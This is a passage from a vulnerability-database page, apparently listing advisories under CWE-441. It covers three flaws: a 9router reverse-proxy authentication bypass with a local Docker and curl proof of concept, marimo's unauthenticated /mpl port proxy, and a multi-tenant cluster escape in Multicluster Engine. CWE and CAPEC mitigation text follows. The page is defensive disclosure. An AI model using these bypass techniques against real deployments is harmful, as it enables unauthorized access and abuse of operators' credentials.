/v1/chat/completionsand other/v1proxy endpoints (the attacker spends the operator's provider quota/keys without holding any key of their own). - Actual impact depends on which providers are configured and how the instance is exposed to the public internet.
- The attacker requires no API key.
Suggested Fix
- Do not use client/proxy/socket IP locality as an authentication bypass.
- Require an API key by default for
/v1/*on public listeners. - If local trust is genuinely needed, bind it to an unguessable server-generated secret or to a Unix domain socket that is only accessible locally — not to "the connection looks like loopback".
- When running behind reverse proxies, use an explicit trusted-proxy configuration and a
real client-IP derivation (e.g. a vetted
X-Forwarded-Forchain), and never treat all loopback proxy traffic as end-user-local. - Document a secure reverse-proxy configuration for operators.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.4.80"
},
"package": {
"ecosystem": "npm",
"name": "9router"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.5.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-56675"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-290",
"CWE-306",
"CWE-441"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-23T18:12:26Z",
"nvd_published_at": "2026-07-10T17:17:01Z",
"severity": "HIGH"
},
"details": "## Summary\n\n9router treats local loopback requests as trusted and allows access to `/v1/*` without an\nAPI key. In a documented/common reverse-proxy deployment where nginx forwards public\ntraffic to the backend via `127.0.0.1`, external non-`Origin` requests are misclassified as\nlocal. This allows unauthenticated access to `/v1` APIs such as `/v1/models`, and may allow\nabuse of configured upstream provider credentials depending on the enabled providers.\n\n## Details\n\n- **Affected version / commit:** 9router `v0.4.80` @ `b282f05`.\n- **Deployment precondition:** a same-host reverse proxy (e.g. nginx) forwarding public\n traffic to the backend on `127.0.0.1` / `localhost`. This mirrors the documented cloud\n deployment (`proxy_pass http://localhost:20128` with `X-Real-IP` / `X-Forwarded-For`).\n- **Observed behaviour:**\n - The **direct backend** (`direct-backend`, port `18081`) returns `401` for `/v1/models`\n without an API key.\n - A **direct request that spoofs** `X-9r-Real-IP: 127.0.0.1` still returns `401`: the\n custom server deletes the client-supplied header and overwrites it with the real socket\n address, so naive header spoofing does not work against the direct backend.\n - The **proxied path** (`reverse-proxy`, port `18080`) returns `200` with the full model\n catalog for the same `/v1/models` request **without any API key**.\n - A **proxied request that carries an `Origin` header** returns `401`. The bypass\n therefore primarily affects curl / SDK / server-side / non-browser clients, which do\n not send `Origin`.\n- **Root cause:** the backend\u0027s local/remote decision relies on perceived socket/loopback\n locality after reverse proxying. Because nginx connects to the backend from `127.0.0.1`,\n the backend stamps a loopback client address for **every** internet client and treats the\n request as local, skipping the `/v1` API-key requirement. The forwarded `X-Real-IP` /\n `X-Forwarded-For` headers that carry the true client IP are ignored for this decision.\n- This is **not** a simple client header-spoofing issue (the direct-spoof control above\n proves header spoofing is rejected); it is a property of how loopback proxy traffic is\n trusted.\n\n## Proof of Concept\n\nThis repository is a self-contained Docker Compose reproduction. No real provider is called\nand no real API key is required.\n\n1. Build and start the stack:\n ```bash\n docker compose up --build\n ```\n2. Direct baseline (no API key):\n ```bash\n curl -i http://127.0.0.1:18081/v1/models\n ```\n3. Direct spoof control:\n ```bash\n curl -i -H \"X-9r-Real-IP: 127.0.0.1\" http://127.0.0.1:18081/v1/models\n ```\n4. Reverse-proxy bypass (no API key):\n ```bash\n curl -i http://127.0.0.1:18080/v1/models\n ```\n5. Reverse-proxy `Origin` control:\n ```bash\n curl -i -H \"Origin: http://evil.example\" http://127.0.0.1:18080/v1/models\n ```\n\n### Expected evidence\n\n| Request | Result |\n|---------|--------|\n| Direct `18081`, no key | `401 Unauthorized` (`{\"error\":\"API key required for remote API access\"}`) |\n| Direct `18081`, `X-9r-Real-IP: 127.0.0.1` spoof | `401 Unauthorized` |\n| Proxied `18080`, no key | `200 OK` with the full model catalog |\n| Proxied `18080`, with `Origin` | `401 Unauthorized` |\n\n## Impact\n\n- Unauthenticated access to the `/v1` API surface in the affected reverse-proxy deployment.\n- Model enumeration via `/v1/models`.\n- Possible abuse of the operator\u0027s configured upstream provider credentials through\n `/v1/chat/completions` and other `/v1` proxy endpoints (the attacker spends the operator\u0027s\n provider quota/keys without holding any key of their own).\n- Actual impact depends on which providers are configured and how the instance is exposed\n to the public internet.\n- The attacker requires **no API key**.\n\n## Suggested Fix\n\n- Do not use client/proxy/socket IP locality as an authentication bypass.\n- Require an API key by default for `/v1/*` on public listeners.\n- If local trust is genuinely needed, bind it to an unguessable server-generated secret or\n to a Unix domain socket that is only accessible locally \u2014 not to \"the connection looks\n like loopback\".\n- When running behind reverse proxies, use an explicit trusted-proxy configuration and a\n real client-IP derivation (e.g. a vetted `X-Forwarded-For` chain), and never treat all\n loopback proxy traffic as end-user-local.\n- Document a secure reverse-proxy configuration for operators.",
"id": "GHSA-x5c9-v98j-722r",
"modified": "2026-09-23T18:12:26Z",
"published": "2026-09-23T18:12:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/decolua/9router/security/advisories/GHSA-x5c9-v98j-722r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56675"
},
{
"type": "WEB",
"url": "https://github.com/decolua/9router/commit/da667836cc7584bea0edd893de1d590c9ea279dc"
},
{
"type": "PACKAGE",
"url": "https://github.com/decolua/9router"
},
{
"type": "WEB",
"url": "https://github.com/decolua/9router/releases/tag/v0.5.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "9router /v1 APIs has unauthenticated access via reverse proxy locality collapse"
}
GHSA-XJV7-6W92-42R7
Vulnerability from github – Published: 2025-10-01 21:20 – Updated: 2025-11-20 17:20Summary
The /mpl/<port>/<route> endpoint, which is accessible without authentication on default Marimo installations allows for external attackers to reach internal services and arbitrary ports.
Details
From our understanding, this route is used internally to provide access to interactive matplotlib visualizations.
marimo/marimo/_server/main.py at main · marimo-team/marimo
This endpoint functions as an unauthenticated proxy, allowing an attacker to connect to any service running on the local machine via the specified <port> and <route>.
The existence of this proxy is visible in the application's code (marimo/_server/main.py), but there's no official documentation or warning about its behavior or potential risks.
Impact
CWE-441: Proxying Without Authentication
This vulnerability, as it can be used to bypass firewalls and access internal services that are intended to be local-only. The level of impact depends entirely on what services are running and accessible on the local machine.
Full Local Access: An attacker can use this proxy to connect to local services that answer to web sockets, HTTP or ASGI protocol, effectively gaining a foothold on the machine. Depending on the service, this can lead to remote code execution, data exfiltration, or further network penetration.
Exposure of Sensitive Services: Our scans of public-facing Marimo servers have shown that many are exposing sensitive internal services, including:
Old CUPS Servers: Could allow an attacker to view print jobs or configuration or depending on old vulnerabilities, allow RCE.
phpMyAdmin: Provides a web interface to a MySQL database, potentially exposing sensitive data.
RPCMapper: Can be used for network reconnaissance and enumerating services.
While you’d hope people wouldn’t expose marimo instances to the internet, we found numerous public Marimo instances using tools like Shodan. Many of these servers, some even hosted on cloud platforms like AWS GovCloud, were found to be vulnerable. This means the vulnerability isn't limited to a few isolated cases but is a widespread issue affecting production environments.
===
Notes, this was discovered by devgi. I (acepace) followed up and also created this report.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "marimo"
},
"ranges": [
{
"events": [
{
"introduced": "0.9.20"
},
{
"fixed": "0.16.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-441"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-01T21:20:11Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nThe `/mpl/\u003cport\u003e/\u003croute\u003e` endpoint, which is accessible without authentication on default Marimo installations allows for external attackers to reach internal services and arbitrary ports. \n\n### Details\nFrom our understanding, this route is used internally to provide access to interactive matplotlib visualizations.\n[marimo/marimo/_server/main.py at main \u00b7 marimo-team/marimo](https://github.com/marimo-team/marimo/blob/main/marimo/_server/main.py) \nThis endpoint functions as an unauthenticated proxy, allowing an attacker to connect to any service running on the local machine via the specified `\u003cport\u003e` and `\u003croute\u003e`.\n\nThe existence of this proxy is visible in the application\u0027s code (marimo/_server/main.py), but there\u0027s no official documentation or warning about its behavior or potential risks.\n\n\n### Impact\nCWE-441: Proxying Without Authentication\n\nThis vulnerability, as it can be used to bypass firewalls and access internal services that are intended to be local-only. The level of impact depends entirely on what services are running and accessible on the local machine.\n\nFull Local Access: An attacker can use this proxy to connect to local services that answer to web sockets, HTTP or ASGI protocol, effectively gaining a foothold on the machine. Depending on the service, this can lead to remote code execution, data exfiltration, or further network penetration.\n\nExposure of Sensitive Services: Our scans of public-facing Marimo servers have shown that many are exposing sensitive internal services, including:\n\nOld CUPS Servers: Could allow an attacker to view print jobs or configuration or depending on old vulnerabilities, allow RCE.\n\nphpMyAdmin: Provides a web interface to a MySQL database, potentially exposing sensitive data.\n\nRPCMapper: Can be used for network reconnaissance and enumerating services.\n\nWhile you\u2019d hope people wouldn\u2019t expose marimo instances to the internet, we found numerous public Marimo instances using tools like Shodan. Many of these servers, some even hosted on cloud platforms like AWS GovCloud, were found to be vulnerable. This means the vulnerability isn\u0027t limited to a few isolated cases but is a widespread issue affecting production environments.\n\n===\n\nNotes, this was discovered by [devgi](https://github.com/devgi). I ([acepace](https://github.com/acepace)) followed up and also created this report.",
"id": "GHSA-xjv7-6w92-42r7",
"modified": "2025-11-20T17:20:23Z",
"published": "2025-10-01T21:20:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/marimo-team/marimo/security/advisories/GHSA-xjv7-6w92-42r7"
},
{
"type": "WEB",
"url": "https://github.com/marimo-team/marimo/commit/0312706d5e594acdb405209b2c8d87c98f46b22b"
},
{
"type": "PACKAGE",
"url": "https://github.com/marimo-team/marimo"
},
{
"type": "WEB",
"url": "https://github.com/marimo-team/marimo/releases/tag/0.16.4"
},
{
"type": "WEB",
"url": "https://marimo-team.notion.site/cve-proxy-without-authentication"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "marimo vulnerable to proxy abuse of /mpl/{port}/"
}
GHSA-XP42-V53J-R9GH
Vulnerability from github – Published: 2026-08-13 18:31 – Updated: 2026-09-05 15:30A flaw was found in the clusterclaims-controller component of Multicluster Engine (MCE). An authenticated tenant can exploit this vulnerability by manipulating ClusterClaim labels. This allows the tenant to force a cluster to join a ManagedClusterSet belonging to another tenant. Such unauthorized access could enable the injection of policies and workloads into other tenants' clusters.
{
"affected": [],
"aliases": [
"CVE-2026-73266"
],
"database_specific": {
"cwe_ids": [
"CWE-441"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-13T17:17:35Z",
"severity": "HIGH"
},
"details": "A flaw was found in the clusterclaims-controller component of Multicluster Engine (MCE). An authenticated tenant can exploit this vulnerability by manipulating ClusterClaim labels. This allows the tenant to force a cluster to join a ManagedClusterSet belonging to another tenant. Such unauthorized access could enable the injection of policies and workloads into other tenants\u0027 clusters.",
"id": "GHSA-xp42-v53j-r9gh",
"modified": "2026-09-05T15:30:25Z",
"published": "2026-08-13T18:31:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73266"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:59556"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:59557"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:59558"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:59559"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:59579"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:59593"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-73266"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2514217"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
Enforce the use of strong mutual authentication mechanism between the two parties.
Mitigation
Whenever a product is an intermediary or proxy for transactions between two other components, the proxy core should not drop the identity of the initiator of the transaction. The immutability of the identity of the initiator must be maintained and should be forwarded all the way to the target.
CAPEC-219: XML Routing Detour Attacks
An attacker subverts an intermediate system used to process XML content and forces the intermediate to modify and/or re-route the processing of the content. XML Routing Detour Attacks are Adversary in the Middle type attacks (CAPEC-94). The attacker compromises or inserts an intermediate system in the processing of the XML message. For example, WS-Routing can be used to specify a series of nodes or intermediaries through which content is passed. If any of the intermediate nodes in this route are compromised by an attacker they could be used for a routing detour attack. From the compromised system the attacker is able to route the XML process to other nodes of their choice and modify the responses so that the normal chain of processing is unaware of the interception. This system can forward the message to an outside entity and hide the forwarding and processing from the legitimate processing systems by altering the header information.
CAPEC-465: Transparent Proxy Abuse
A transparent proxy serves as an intermediate between the client and the internet at large. It intercepts all requests originating from the client and forwards them to the correct location. The proxy also intercepts all responses to the client and forwards these to the client. All of this is done in a manner transparent to the client.